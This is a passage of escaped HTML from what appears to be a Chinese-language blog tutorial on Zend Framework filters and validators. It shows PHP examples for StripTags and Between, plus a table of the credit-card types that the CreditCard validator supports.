background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;b&gt;Zend_Filter_StringToUpper&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_String_Trim&lt;/b&gt;&lt;br /&gt;
去除前後的空白&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_StripNewLines&lt;/b&gt;&lt;br /&gt;
去除&#39;\n\r&#39;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_StripTags&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
去除Tag (官方不建議用這個來防禦XSS)&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Filter_StripTags&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;allowTags&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;a&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$input&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&quot;A text with &amp;lt;br/&amp;gt; a &amp;lt;a href=&#39;link.com&#39;&amp;gt;link&amp;lt;/a&amp;gt;&quot;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$input&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns: A text with a &amp;lt;a href=&#39;link.com&#39;&amp;gt;link&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: #fff2cc;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;Validator&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Zend_Validate_Alnum&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_Alpha&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_Barcode&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_Between&lt;/b&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$valid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Validate_Between&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;min&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #008c00;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;max&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #008c00;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;inclusive&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$value&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #008c00;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$result&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$valid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;isValid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$value&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns false&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_Callback&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_CreditCart&lt;/b&gt;&lt;br /&gt;
Allow creditCart:&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;&lt;i&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #444444; font-family: Arial, Helvetica, sans-serif; font-size: 14px; font-style: normal; line-height: 21px;&quot;&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;table class=&quot;doctable table&quot; style=&quot;-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; border-bottom-width: 0px; border-collapse: collapse; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;thead valign=&quot;middle&quot;&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;th style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;nstitute&lt;/th&gt;&lt;th style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;Constant&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;&lt;tbody class=&quot;tbody&quot; valign=&quot;middle&quot;&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;American Express&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;AMERICAN_EXPRESS&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;China UnionPay&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;UNIONPAY&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;Diners Club Card Blanche&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;DINERS_CLUB&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;Diners Club International&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;DINERS_CLUB&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;Diners Club US &amp;amp; Canada&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;DINERS_CLUB_US&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;Discover Card&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;DISCOVER&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;JCB&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;JCB&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr valign=&quot;middle&quot;&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;em class=&quot;emphasis&quot;&gt;Laser&lt;/em&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: top;&quot;&gt;&lt;b&gt;&lt;tt&gt;LASER&lt;/tt&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
